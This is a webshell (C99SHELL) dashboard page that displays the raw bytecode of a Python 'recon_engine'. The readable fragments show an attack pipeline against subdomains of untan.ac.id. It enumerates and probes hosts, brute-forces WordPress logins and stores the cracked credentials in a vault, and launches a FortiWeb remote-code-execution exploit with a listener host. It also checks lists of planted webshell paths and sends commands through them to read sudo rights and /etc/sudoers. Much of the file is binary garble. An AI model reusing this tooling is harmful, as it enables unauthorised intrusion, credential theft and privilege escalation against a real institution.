C99SHELL DASHBOARDc99shell.tail7973d7.ts.net WebshellDBRoot 2026-08-03 08:14:07

!C99SHELL 2.0 [PHP 7 Update] [25.02.2019] !

Software: Apache/2.4.68 (Debian). PHP/8.2.33  

uname -a: Linux 9d2024043b5d 7.0.12+kali-amd64 #1 SMP PREEMPT_DYNAMIC Kali 7.0.12-2kali1
(2026-06-18) x86_64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data)  

Safe-mode: OFF (not secure)

/var/www/html/__pycache__/   drwxrwxrwx
Free 115.58 GB of 452.4 GB (25.55%)


File: recon_engine.cpython-313.pyc · 32.75 KB · -rwxrwxrwx

�

^$pj|F��b�SSKrSSKrSSKrSSKrSSKrSSKrSSKrSSKr\R"5 SSK	J
s Js Js Jr
 S\
lSSKrSSKJr Sr\S-r\S-r\S-r\S-r\S	-r\S
-r\S-rSr\4Hr\R:"\S
S9 M SrSrSr Sr!Sr"\RF"S5r$\RF"S\RJ\RL-5r'Sr(Sr)S'Sjr*S(Sjr+Sr,Sr-Sr.Sr/S)Sjr0/SQr1S r2S!r3S"r4S#r5S$r6S%r7\8S&:Xa\6"5 gg!\a N�f=f)*�NF)�ThreadPoolExecutorz
/var/www/htmlz/targetsz/reconz
/domains.jsonz/last_scan.jsonz/run.logz/recon_events.jsonlz/.planted.jsonz-https://crt.sh/?q=%25.untan.ac.id&output=jsonT��exist_okc��S[R"S5<SU<3n[[S5nUR	US-5 SSS5 [
RR5(a[USS9 gg!,(df   N==f)N�[z%d/%m %H:%M:%Sz] �a�
T)�flush)	�time�strftime�open�RUN_LOG�write�sys�stdout�isatty�print)�msg�line�fs   �recon_engine.py�logrsb���
�
�&6�7��=�D�	
�g�s�	�q�	����t���
�
�z�z�����
�d�$���
�	�s�A;�;
B	c���[R"5US'[[S5nUR[R
"U5S-5 SSS5 g!,(df   g=f)N�tsrr	)rr
�	EVENT_LOGr�json�dumps)�objrs  r�evtr#sB���	�	��C��I�	
�i��	��	����
�
�3��$�&�'�
�	�	�s�)A�
A)c�d�[S5 [SS5HFn[R"SSSSSS	S
[/SSS9n[
R"UR5n O Wc/$[5nUH�nURS5=(d SRS5HYnUR5RS5R!5nUR#S5(dMHUR%U5 M[ M� ['U5n[
R("U[+[,S5SS9 [S[/U5[,4-5 [1S[/U5S.5 U$![a@n[S
X4-5 SnUS:a[R"S5 SnAGM�SnAGM�SnAff=f)Nz$enum: querying crt.sh (ipv4, 90s)...���curlz-4z-sz-m�90z-HzUser-Agent: Mozilla/5.0T)�capture_output�textz!enum: attempt %d parse failed: %s���
name_value�r	z*.z.untan.ac.id�w��indentz enum: %d unique subdomains -> %s�enum)�phase�total)r�range�
subprocess�run�	CRTSH_URLr�loadsr�	Exceptionr�sleep�set�get�split�strip�lstrip�lower�endswith�add�sorted�dumpr
�DOMAINS_JSON�lenr)�attempt�r�data�e�subs�name�ns       rr.r.)se���.�/���A�;���N�N�
�T�4��t�T�3L�i�X��d�
,��	��:�:�a�h�h�'�D��
��|��	��5�D�
���U�U�<�(�.�B�5�5�d�;�D��
�
��#�#�D�)�/�/�1�A��z�z�.�)�)������<��
�$�<�D��I�I�d�D��s�+�A�6��*�c�$�i��-F�F�G��&�3�t�9�-�.��K��#�	��3�w�l�B�C��D���{��
�
�1�
�
���	�s� E%�%
F/�/-F*�*F/c��[[RR[S54H�n[RRU5(dM)[R"[U55nU(aUs $[U5Vs/sH)o"R5(dMUR5PM+ nnU(aUs $M� [RR[5(a*[S[R"[555$/$![a N�f=fs snf![a GMf=f)Nzdomains.test.txtc3�# �UHOn[RR[RR[U55(dMKUv� MQ g7f�N)�os�path�isdir�join�TARGETS)�.0�xs  r�	<genexpr>�#fallback_domains.<locals>.<genexpr>Vs4���`�!4�A����
�
�b�g�g�l�l�SZ�\]�F^�8_�a�a�!4�s�A
A�	A)rBrNrOrQ�RECON�isfiler�loadr
r6r;rPrRr@�listdir)�p�d�ls   r�fallback_domainsr^Fs����B�G�G�L�L��0B�C�
D��
�7�7�>�>�!���
��I�I�d�1�g�&����H��
�(,�Q��=��1�7�7�9�Y�Q�W�W�Y���=���H��E�
�w�w�}�}�W����`����G�!4�`�`�`�
�I���
��
��>���
��
�s<�'D#�
D8�D3�*D3�>
D8�#
D0�/D0�3D8�8
E�Ec�N�[RR[5(d[R"[5 /nUGHn[RR[U5n[RRU5(aMN[R"[RRUS5SS9 [R"[RRUS5SS9 [R"[RRUS5SS9 [RR
[RRUS55(dD[[RRUS5S5nURS5 SSS5 [RR
[RRUS	55(dG[[RRUS	5S5nURS
U-5 SSS5 URU5 GM
 [S[U5[[R"[5Vs/sHMn[RR[RR[U55(dMKUPMO sn54-5 [S[U5S
.5 U$!,(df   GNZ=f!,(df   N�=fs snf)N�	webshellsTr�pluginsrF�info.txtr+z000 unknownzhref.txt�https://z/sync: %d new data-rooms created (total dirs=%d)�sync)r/�new)rNrOrPrR�makedirsrQ�existsr
r�appendrrCrZr)rHrer\�ddrrTs      rrdrdZs&��
�7�7�=�=��!�!�
���G��
�C�
��
�W�W�\�\�'�1�
%��
�7�7�=�=�����
���B�G�G�L�L��[�1�D�A�
���B�G�G�L�L��Y�/�$�?�
���B�G�G�L�L��V�,�t�<��w�w�~�~�b�g�g�l�l�2�z�:�;�;��b�g�g�l�l�2�z�2�C�8�A����
�&�9��w�w�~�~�b�g�g�l�l�2�z�:�;�;��b�g�g�l�l�2�z�2�C�8�A����
�Q��'�9��
�
�1�
���9�S��X�s�WY�Wa�Wa�bi�Wj�LW�Wj�RS�np�nu�nu�n{�n{�|~�}D�}D�}I�}I�JQ�ST�}U�oV�A�Wj�LW�HX�=Y�	Y�Z��&��S��*�+��J�9�8��9�8��LWs%�K?� L�A
L"�L"�?
L	�
L	s�(?i)(wordpress|wp-content|wp-includes|ojs[2]?|pkp|joomla|laravel|livewire|phpmyadmin|pma_|fortiwaf|drupal|moodle|xenforo|blogspot)s<title[^>]*>(.*?)</title>z9Mozilla/5.0 (Windows NT 10.0; Win64; x64) RedHatProbe/2.0c
��U[[R"55SSSSSSSSSSS.nSGHn[R"US-U-S	S
S[0SS9nUR
XS
-'UR
S;aS
US'US(dURUS'URRSS5nURRSS5nU(aU(aUS-U-OUn[U5[US5:�aUSSUS'[[UR55R5nSU;dSU;aSUS'[RURSS5nU(a?US(d5URS5R!5SSR#SS5US'US(aUR
(aS X#R
4-X'[$RURSS!5nU(a5URS5R#SS5R5US"'GMGM U$![&a GM f=f)#Nrr*�unknown�noneF)�domainr�
https_code�	http_code�server�title�platform�waf�final�alive�http�https�rwrv�://r(T�
User-Agent)�timeout�allow_redirects�headers�verify�_code)
����������i-i.i/i3i4i�i�i�rurt�ServerzX-Powered-Byz | rp�Z�fortiwaf�fortiwebrsi@
rqr!�xzutf-8�ignorerwz%s %di�rr)�intr�requestsr9�UA�status_code�urlr}rC�str�dictr=�TITLE�search�content�groupr;�decode�PLATr6)	r\�res�scheme�req�srv�ph�hdrs�t�ms	         r�prober�vs���c�$�)�)�+�.�a�a��"�)�F����R�A�C�$��	��,�,�v��~��1�1�d�(4�b�'9�%�I�C�$'�O�O�C�� �!����"c�c�#��G���w�<�"�w�w��G���+�+�/�/�(�B�/�C��������4�B��*-�c�E�k�B�&�2���3�x�#�c�(�m�,�,� #�C�R���H�
��t�C�K�K�(�)�/�/�1�D��T�!�Z�4�%7�'��E�
����S�[�[��&�1�2�A���W�� �w�w�q�z�/�/�1�$�3�7�>�>�w��Q��G���w�<�3�?�?�%����(A�A������C�K�K���0�1�A��"#�'�'�!�*�"3�"3�G�X�"F�"L�"L�"N��J���1$�8�J���	��	�s�HI�
I�Ic�|^^^^	^
^�[S[T5U4-5 /mSmSm	[RR	[
S5m
UU	U
U4SjmUUU	UU4Sjn[
US9nTVs/sHoCR[U5PM nnUHnU"UR55 M SSS5 [R"T[[S5SS	9 T"5 [S
[T5T	S.5 [S[T5T	[4-5 T$s snf![a M�f=f!,(df   N�=f)
Nz(scan: probing %d domains (%d workers)...rz
progress.jsonc�>�[TS5n[R"T[T5TS.U5 SSS5 g!,(df   g=f)Nr+)�doner0�live)r
rrArC)rr�r��	prog_filerHs ����r�flush_progress�scan.<locals>.flush_progress�s4���
�)�S�
!�Q��I�I�t�c�$�i��F��J�"�
!�
!�s	�%<�
A
c�<>�TS-
mTRU5 [RR[US5n[RRU5(d[R"USS9 US(aSOSnUS=(d US	n[[RRUS
5S5nURU<SU<SUS
SS<SUS<35 SSS5 [[RRUS5S5n[R"XSS9 SSS5 US(aTS-
mTS-S:XdT[T	5:XaT"5 gg!,(df   N�=f!,(df   NO=f![a N^f=f)Nr!rmTrrur��downrnrorbr+� rp�(rrz
recon.jsonr,�
r)
rhrNrOrQrRrPrfr
rrrAr6rC)
rEri�st�coderr�r�r��resultsrHs
     �����r�	on_result�scan.<locals>.on_result�s;�����	�����q��
�W�W�\�\�'�1�X�;�
/���w�w�}�}�R� � ��K�K��T�*���z�V�v�����0�!�K�.��	��b�g�g�l�l�2�z�2�C�8�A�����r�1�X�;�s��3C�Q�z�]�S�T�9��b�g�g�l�l�2�|�4�c�:�a��	�	�!�q�)�;�
�W�:��A�I�D��"�9��>�T�S��Y�.���/�9�8��:�:���	��	�sH�*F�*E,�,2F�E=�4F�,
E:�6F�=
F�F�F�
F�F��max_workersr+r!r,�scan)r/r0r�zscan: %d checked, %d live -> %s)rrCrNrOrQrWr�submitr��resultr6rrAr
�	SCAN_JSONr)rH�workersr��exr\�futs�fur�r�r�r�r�s`      @@@@@rr�r��s����2�c�$�i��5I�I�J��G��D��D������U�O�4�I�K�K���*
��	0�B�-1�2�T��	�	�%��#�T��2��B�
��"�)�)�+�&��
1�	�I�I�g�t�I�s�+�A�6����&�3�w�<��>�?��)�S��\�4��,K�K�L��N��3���
��
��
1�	0�sB�&D-�+D�
D-�D�(D-�D-�
D*�&D-�)D*�*D-�-
D;c�N�UVs/sHo"S(dMUPM nn[S[U5-5 SnSn[US9nURXC5HupxU(dMUS-
nM SSS5 [	SUS.5 [S	U-5 gs snf!,(df   N0=f)
Nruz-data: reading metadata for %d live targets...c
��USn0nSHnnSHen[R"US-U-S-U-SS[0SS	S
9nURS:Xa'UR(aUR
SSX#' MhMeMg Mp U(a�[RR[US
5n[R"US	S9 UR5HHupx[[RRXg5S5n	U	RU5 SSS5 MJ U[UR!554$U/4$![a GM7f=f!,(df   M�=f)Nrm)z
robots.txtrxry�/�rzFT)r{r}r~r|r�i rFrr+)r�r9r�r�r�r&r6rNrOrQrRrf�itemsr
r�list�keys)
rEr\�gotr[r�r�ri�k�vrs
          r�grab�data_phase.<locals>.grab�s/��
�h�K���� �A�+���"�,�,�v��~��'9�C�'?�!�'C�Q�0<�b�/A�%�ae�g�C����#�-�#�+�+�!$���$�3�����3>�-�	,�!�������g�q�&�1�B��K�K��T�*��	�	�����"�'�'�,�,�r�-�s�3�q��G�G�A�J�4�3�$��t�C�H�H�J�'�(�(��2�w���!�����4�3�s�AD8�;E
�8
E�E�

E	rr�r!rF)r/�grabbedz0data: robots/metadata stored for %d live targets)rrCr�mapr)	r�r�rEr�r��okr�r\�kss	         r�
data_phaser��s����-�w�!�G�*�A�w�D�-��7�#�d�)�C�D��,
�B�	��	0�B��V�V�D�'�E�A��r��a���(�
1��&�R�(�)��:�R�?�@��?.�4
1�	0�s�
B�B�B�#	B�
B$c
��[RR[5(d[	S5 g[
R"[[55n[	S[U5-5 UR5GH�upURS5nU(dM [R"USSSS.SS	S
[0S9n[R"SUR[R 5nU(aUS
OSn[R""SSU5nUR%SS5R%SS5R%SS5R%SS5R%SS5n[RR'[(US5n[R*"USS9 [[RR'US5S5nUR-USS5 SSS5 [.R0"S 5US!'[3UR45US"'UR4S#:XaS$UR;aS%OS&US''[	S(U<S)UR4<S*U(aS+OS,<S-35 GM� [
R8"U[[S5SS09 [;S1[U5S2.5 g!,(df   N�=f![6aBn	S&US''S.US"'[.R0"S 5US!'[	S(U<S/U	<35 Sn	A	GM�Sn	A	ff=f)3Nzshell: no .planted.jsonz2shell: scanning %d planted shells for sudo/data...r��c99terminalr!zEid;whoami;hostname;uname -a;sudo -l 2>&1;cat /etc/sudoers 2>/dev/null)�act�troot�tcmd�Frz)�paramsr{r~r}z<div class="tout">(.*?)</div>���r*z<[^>]+>z&amp;�&z&lt;�<z&gt;�>z&quot;�"z&#039;�'rFTrzsudo.txtr+i��%d/%m/%Y %H:%M:%S�lastr�r��sudo�yes�noruzshell: � -> z (zsudo data savedz	no output�)�errz
 -> error r,�shell)r/�checked)rNrOrX�PLANTEDrrrYr
rCr�r9r�r��re�findallr&�S�sub�replacerQrRrfrrrr�r�r6rAr)
�planted�pd�pvr�r��outs�outrirrGs
          r�shell_phaser��sY��
�7�7�>�>�'�"�"��%�&���i�i��W�
�&�G��<�s�7�|�K�L��-�-�/����f�f�U�m����	3��,�,�s�=�1�4{�,}�')�%�,�PR�AS�U�C��:�:�>����"�$�$�O�D�"�$�r�(��C��&�&��R��-�C��+�+�g�s�+�3�3�F�C�@�H�H��QT�U�]�]�^f�hk�l�t�t�u}�@C�D�C������g�r�6�2�B��K�K��T�*��b�g�g�l�l�2�z�2�C�8�A�����E�T�
�#�9����':�;�B�v�J��S�_�_�-�B�v�J�#&�?�?�c�#9�f����>P�%�VZ�B�w�K��"�c�o�o�TW�?P�]h�?h�i�j�'"�2	�I�I�g�t�G�S�)�!�4��'�c�'�l�3�4�9�8���	3��B�w�K��B�v�J����':�;�B�v�J��2�q�1�2�2��		3�s2� D.K�J/�#BK�/
J=	�9K�
L�
6L�Lc��[RR[5(a$[R
"[
[55$0$![a 0$f=frM)rNrOrXr�rrYr
r6��r�load_plantedr�
sM��	�w�w�~�~�g���	��9�9�T�'�]�+�+��I���	��
�I�	�s�"A�
A�Ac�L�[R"U[[S5SS9 g)Nr+r!r,)rrAr
r�)r[s r�save_plantedr�s���I�I�a��g�s�#�A�.r�c���[5nURU05nXS'[R"S5US'SUS'SUS'[	U5 [SU<S	U<35 g)
Nr�r�r��200r�r�ruzexploit: REGISTERED r�)r��
setdefaultrrr�r)r\r�r��entrys    r�register_plantedr�s\���n�G����q�"�%�E��%�L��M�M�"5�6�E�&�M��E�&�M��E�'�N�����!�S�1�2r�c��[R"USSSS[0S9nURS:XaXR;agg![
a gf=f)N�FTrz)r{r~r|r}r�)r�r9r�r�r&r6)r��needler�s   r�probe_shellr�%sY��
��l�l�3��%��$0�"�#5�7���?�?�c�!�f���&8�����
���
�s�=A�
A�
A)	z
/c99shell.phpz/c99.phpz
/pwned.datz
/shell.phpz
/pwned.phpz /wp-content/uploads/c99shell.phpz/uploads/c99shell.phpz
/backdoor.phpz/x.phpc�l�[H*nSU-U-n[U5(dM[X5 Us $ g)z>Probe common shell paths on a target; register first live one.rcN)�SHELL_PROBESr�r�)r\�pthr�s   r�auto_register_candidatesr7s7�����1�n�s�"���s����Q�$��J�	�
r�c��[RR[S5n[RR	U5(dg[SU-5 [R"[RUSSU-SS/SSS	S
9nUR=(d SUR=(d S-n[RR[US5n[R"USS
9 [[RRUS5S5nURUSS5 SSS5 [ R""SU5nU(a]SU;dSU;aQUR%S5UR%S5p�SSKn	U	R)USXxSS9 [SU<SU<S35 Xx4S4$SUSS4$!,(df   N�=f![*an
[SU
-5 Sn
A
N:Sn
A
ff=f![*an
SS U
-4sSn
A
$Sn
A
ff=f)!zIRun generic wp_brute.py against a dynamic target, capture creds to vault.zwp_brute.py)Nzmissing wp_brute.pyz(exploit: %s wordpress brute (delay=1)...�--targetrcz--delay�1Ti��r%r&r{r*rFr�exploit.logr+�`�Nz([\w.\-]+):([^\s]+)�SUCCESSzPossible successr!�r�wpzwp-brute)�target�kind�user�password�notez	exploit: z creds saved to vault (r�zexploit: vault add failed %si8���zerror %s)rNrOrQ�BASErXrr2r3r�
executabler�stderrrRrfr
rr�r�r��vaultr?r6)r\�py�prr�rirr�r�pwdrrGs           r�wp_brute_targetrAs���	�����d�M�	*�B�
�7�7�>�>�"���*��2�Q�6�7�$�
�^�^�S�^�^�R��Z�!�^�Y�X[�\�+/�d�C�I���y�y��B�2�9�9�?��3��
�W�W�\�\�'�1�f�
-��
���B��&�
�"�'�'�,�,�r�=�1�3�
7�1�
�G�G�C���K� �8��I�I�,�c�2���)�s�"�&8�C�&?�����
�A�G�G�A�J�#�
8���	�	���D�Z�	�X��q�$�G�H��;�	�)�)��S���Z���8�
7���
8��2�Q�6�7�7��
8���$��Z�!�^�#�#��$�sh�B=G+�F5�+AG+�?*G�)G+�.G+�5
G�?G+�
G(�G#�G+�#G(�(G+�+
H�5H�;H�Hc�"�[RR[S5n[RR	U5(dg[RR[
US5n[R"USS9 [R"[RUSUS/SSSS	9nUR=(d S
UR=(d S
-n[RUS5S5nURUS
S5 SSS5 U(dgSn[[R 5HEup�U	S:XdM
US-[#[R 5:dM/[R US-nMG U(d[%SU-5 gSn
S[R ;a<['[R [R R)S5S-5n
[R"[RUSUSUS[+U
5/SSSS	9nUR=(d S
UR=(d S
-n[RUS5S5nURUSSS-USS-5 SSS5 SUR-5;d(SUR-5;dSUR-5;a[/U5 gg!,(df   GN�=f!,(df   Ni=f)zGFortiWeb: fingerprint + check vuln via --check; if --run, full exploit.zfortiweb_jitu.pyzmissing fortiweb_jitu.pyrFTrrz--checkr�rr*rr+rNz
check-onlyz--lhostr!z<exploit: %s fortiweb needs --lhost for RCE; check-only savedzneeds-lhosti\z--lportiXi$���z
=====EXPLOIT=====
iH��berhasil�suksesr��	exploited�failed)rNrOrQrrXrRrfr2r3rrrrr
r�	enumerate�argvrCrr��indexr�r=r)
r\�	force_runrri�checkr�r�lhost�ir�lport�exp�out2s
             r�fortiweb_targetr(^s9��	�����d�.�	/�B�
�7�7�>�>�"���)�	�����g�q�&�	)�B��K�K��T�"��N�N�C�N�N�B�
�A�y�I�*.�T�3�
H�E��<�<��2�%�,�,�"4�"�
5�C�	
�b�g�g�l�l�2�}�-�s�	3�q�	����E�F���
4����E��#�(�(�#����	�>�a�!�e�c�#�(�(�m�3��H�H�Q��U�O�E�$���J�Q�N�O���E��C�H�H���C�H�H�S�X�X�^�^�I�6��:�;�<��
�.�.�#�.�.�"�j�!�Y��#�S��Z�1�AE�D�Z]�_�C��J�J��"����!1�r�2�D�	
�b�g�g�l�l�2�}�-�s�	3�q�	����E�F��5�5��U�V��D�E�
4��T�Z�Z�\�!�X�����%=��4�:�:�<�AW� ��#���-
4�	3��"
4�	3�s�K.�?L�.
K=�
Lc
��UVs/sHoS(dMUPM nn[S[U5-5 /nUHynUSnUSR5nUSR5nSU;dSU;d	USS:XaURUS45 MXS	U;dS
U;dMfURUS	45 M{ [S[U5-5 S[R
;nU(dp[
[RR[S
5S5n[R"UVV	s/sH	upIXIS.PM sn	nUSS9 SSS5 [S5 g/n
UHmupKUS	:Xa.[U5up�U
RXKU(aSOU
SSS.5 O&US:Xa [US5n
U
RXKU
S.5 [SXKS.5 Mo [
[RR[S5S5n[R"X�SS9 SSS5 [S[U
5-5 gs snfs sn	nf!,(df   N�=f!,(df   NB=f)Nruz1exploit: %d live targets, fingerprint matching...rmrrrp�fortir�rs�	wordpressz
wp-contentz4exploit: %d fingerprint matches (fortiweb/wordpress)z--runzexploit_hits.jsonr+)rmr
r!r,zIexploit: check-only mode; matches -> exploit_hits.json. re-run with --runr��P)rmr
r�T�exploit)r/rmr
zexploit_run.jsonz?exploit: run finished, %d targeted, results -> exploit_run.json)rrCr=rhrrr
rNrOrQrWrrArr(r)r�rEr��hitsr\r[r�r!rr��summaryr
r�rs              r�
exploit_phaser0�s���-�w�!�G�*�A�w�D�-��;�c�$�i�G�H�
�D�
��
�h�K��
�j�M���!����k���!���c�>�Z�3�.�!�E�(�j�2H��K�K��J��(�
�A�
���!2��K�K��K�(�)���>��T��J�K��3�8�8�#�I��
�"�'�'�,�,�u�&9�:�C�
@�A��I�I�D�A�D�D�A�!�/�D�A�1�Q�O�A��W�X���G�����;��'��*�I�C��N�N�a���RV�WZ�XZ�R[�\�]�
�Z�
�"�1�d�+�D��N�N�a��F�G��i�1�;�<��
�b�g�g�l�l�5�"4�5�s�	;�q��	�	�'�Q�'�
<��I�C�PW�L�X�Y��;.��B�A�
@��
<�	;�s4�
H0�H0�H;�+H5�;H;�:I�5H;�;
I	�
Ic���[RSSn[RR	[
S5n[RR
U5(a_[R"5[RRU5-
S:�a[R"U5 O[SU-5 g[US5R[[R"555 [U5 [RR
U5(a[R"U5 gg![RR
U5(a[R"U5 ff=f)Nr!z.runningiz)another recon run in progress (%s), abortr+)rrrNrOrQrWrgr�getmtime�unlinkrr
rr��getpid�_main)r�locks  r�mainr7�s����8�8�A�B�<�D�
�7�7�<�<��z�*�D�	�w�w�~�~�d����9�9�;����)�)�$�/�/�$�6��I�I�d�O��;�d�B�C����s�O���#�b�i�i�k�*�+��
�d��
�7�7�>�>�$����I�I�d�O� ��2�7�7�>�>�$����I�I�d�O� �s�3D:�:=E7c���SU;=(d SU;nSU;=(d SU;nSU;=(d SU;nSU;nSU;nSU;a [XRS5S-5nOSnU(d!U(dU(dU(dU(dS	=n=p#/nS
U;apXRS
5S-n[U5V	s/sH)o�R5(dMU	R5PM+ nn	[	S[U5U4-5 GO+U(ai[
5nU(dW[	S5 [5nU(a;[R"U[[S
5SS9 [	S[U5-5 O�U(a�[RR[5(a$[R"[[55nOh[RR[5(a6[R"[[55V
s/sHo�SPM	 nn
O
[5nU(a[!U5 UnSU;aEXRS5S-nUV
s/sH"n
["R$"X�5(dM U
PM$ nn
U(aU(aUSUn/nU(aU(a['U5nOW[	S5 g[RR[5(a#[R"[[55nU(aU(a[)U5 U(a
[+5 U(aU(a[-U5 [	S5 gs sn	fs sn
fs sn
f)Nz--enumz--allz--scanz--dataz--shellz	--exploitz--limitr!Tz--sourcezsource: %d domains from %sz;enum: crt.sh unavailable, falling back to known domain listr+r,zfallback: %d domains loadedrmz--filterz scan: no domains selected, abortr�)r�r r
r;rrCr.r^rrArBrNrOrXrYr�rdr�r�r�r�r�r0)r�do_enum�do_scan�do_data�do_shell�
do_exploit�limrH�srcr]rE�sel�patr\r�s               rr5r5�s����$��1�'�T�/�G��$��1�'�T�/�G��$��1�'�T�/�G��D� �H���$�J��D���$�z�z�)�,�q�0�1�2�����w�'�X��&*�*��*�'�
�D��T���:�:�j�)�A�-�.��#'��9�:�9�a���	�	����	�9��:��(�C��I�s�+;�;�<�	��v����M�N�#�%�D���	�	�$��\�3� 7��B��1�C��I�=�>��	�
�7�7�>�>�,�'�'��9�9�T�,�/�0�D�
�W�W�^�^�I�
&�
&�)-���4�	�?�)C�D�)C�A�h�K�)C�D�D�D�#�%�D���T�
�
�C��T���:�:�j�)�A�-�.���4�$�Q�"�)�)�C�"3�q�$��4�
�s��$�3�i���G����3�i�G��2�3��	�����	�	"�	"��)�)�D��O�,���7��7����
��g��g����K��Q;��E��5s�9M%�M%�M*�%M/�M/�__main__)r�)r�)�C99SHELL)9rrNrrr�r2�socket�urllib3�disable_warnings�)requests.packages.urllib3.util.connection�packages�util�
connection�_uc�HAS_IPV6r6r��concurrent.futuresrrrRrWrBr�rrr�r4r\rfrrr.r^rd�compiler��Ir�r�r�r�r�r�r�r�r�r�r�rrrr(r0r7r5�__name__r�r�r�<module>rQsw��2�2�2�2������	�;�;��C�L��1���
��
���x�����&���%�%�	�
�*�
���)�)�	�
�!�
!��;�	�
��A��K�K��D�!�
� �(��:�(�.
�z�z�Y�Z��
�
�
�0�"�$�$����+�>��@�� �F+�\ A�F 5�F�/�3�����$�: �FZ�B�"7�t�z���F���K�	��	�s�D%�%D.�-D.